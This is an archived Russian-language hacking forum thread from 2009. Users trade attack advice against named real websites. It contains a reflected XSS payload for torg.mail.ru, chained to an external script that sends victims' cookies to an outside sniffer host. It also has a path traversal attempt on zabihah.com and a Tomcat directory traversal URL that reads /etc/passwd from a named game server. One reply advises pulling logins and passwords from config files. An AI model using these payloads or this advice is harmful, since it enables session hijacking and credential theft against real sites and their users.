ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
09.03.2009, 21:13
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме:
2584134
Репутация:
519
|
|
В basic используется Base64 шифрование.
|
|
|
09.03.2009, 21:18
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717
Репутация:
1980
|
|
Для передачи - шифрование base64, но в самих файлах (.htpasswd) пассы обычно зашифрованы DES'ом
|
|
|
|
09.03.2009, 21:56
|
|
Познающий
Регистрация: 14.01.2009
Сообщений: 93
Провел на форуме:
244235
Репутация:
39
|
|
Сообщение от faza02
http://www.zabihah.com/da.php?id=../
можно ли что нибудь проинклудить, при вот таом префиксе..
http://www.zabihah.com/da.php?id=1/../../../../../index
|
|
|
|
10.03.2009, 10:45
|
|
Новичок
Регистрация: 04.03.2009
Сообщений: 23
Провел на форуме:
59175
Репутация:
0
|
|
Вопрос:
допустим я нашол XSS - http://torg.mail.ru/news/?0103/2009"><script>alert(document.cookie)</script>
Вопрос, как её заносить в ссылку на моём хосте по которой должен отклик от жертвы произойти, со скриптом ("><script>alert(document.cookie)</script>) или без ????? |
|
|
|
10.03.2009, 10:48
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме:
2584134
Репутация:
519
|
|
Так и заноси, только добавь адрес сниффера и закодируй содиржимое алерта...
|
|
|
|
10.03.2009, 10:55
|
|
Участник форума
Регистрация: 02.09.2007
Сообщений: 292
Провел на форуме:
3659973
Репутация:
466
|
|
если хош украсть куки тебе ишо нужен сниффер!
тута усе расписано было!
|
|
|
|
10.03.2009, 14:42
|
|
Новичок
Регистрация: 04.03.2009
Сообщений: 23
Провел на форуме:
59175
Репутация:
0
|
|
Сообщение от -m0rgan-
Так и заноси, только добавь адрес сниффера и закодируй содиржимое алерта...
Т.е. выглядеть будет примерно так???:
http://torg.mail.ru/news/?0103/2009"><script>alert(document.cookie)</script>'><script src=http://miliniva.narod.ru/js.js></script>
А в Js.js: img=new Image();img.src="http://antichat.org/s/Seshh.gif?"+document.cookie;
|
|
|
|
10.03.2009, 16:02
|
|
Участник форума
Регистрация: 29.12.2004
Сообщений: 105
Провел на форуме:
89596
Репутация:
21
|
|
Как быть offline vkontakte.ru
Сообщение от VIP
Нагуглил, что проблема решается, если не трогать скрипт profile.php, то есть не заходить на свою страницу и на страницы других пользователей. Но вот вопрос возникает. Как я понимаю сам этот скрипт находится в отдельном файле где-то в кеше и при загрузки странички пользователя он просто исполняется и отправляет инфу о том, что ты онлайн. Но если он находится в кеше стало быть его можно пропатчить что-бы он как бы исполнялся но инфу не отправлял. Честно говоря я ничего не понимаю в этой системе. это всё только мои догадки. Если что-то не так то поправьте меня. Понятно, что можно тупо не заходить на страницы пользователей, но хочется именно заходить и быть offline.
Где под firefox 3 в ubuntu можно найти сам этот profile.php ?
|
|
|
|
10.03.2009, 16:48
|
|
Banned
Регистрация: 02.01.2009
Сообщений: 29
Провел на форуме:
178075
Репутация:
85
|
|
Здравствуйте нашел уязвимость Apache Tomcat v.5.5.26 Directory Traversal на одном игровом сервере http://la2midland.ru вот и мне сканер выдает такую строку http://la2midland.ru:80/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd что с этим можно сделать?
|
|
|
|
10.03.2009, 16:55
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
^YaHoo^ ну ты типо читаешь файлы на сервере, ищи конфигурационные файлы и бери оттуда логины и пассы
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [Raz0r]](/avatars/avatar33548.jpg?1159982){kind=avatar}
Похожие темы
Линейный вид
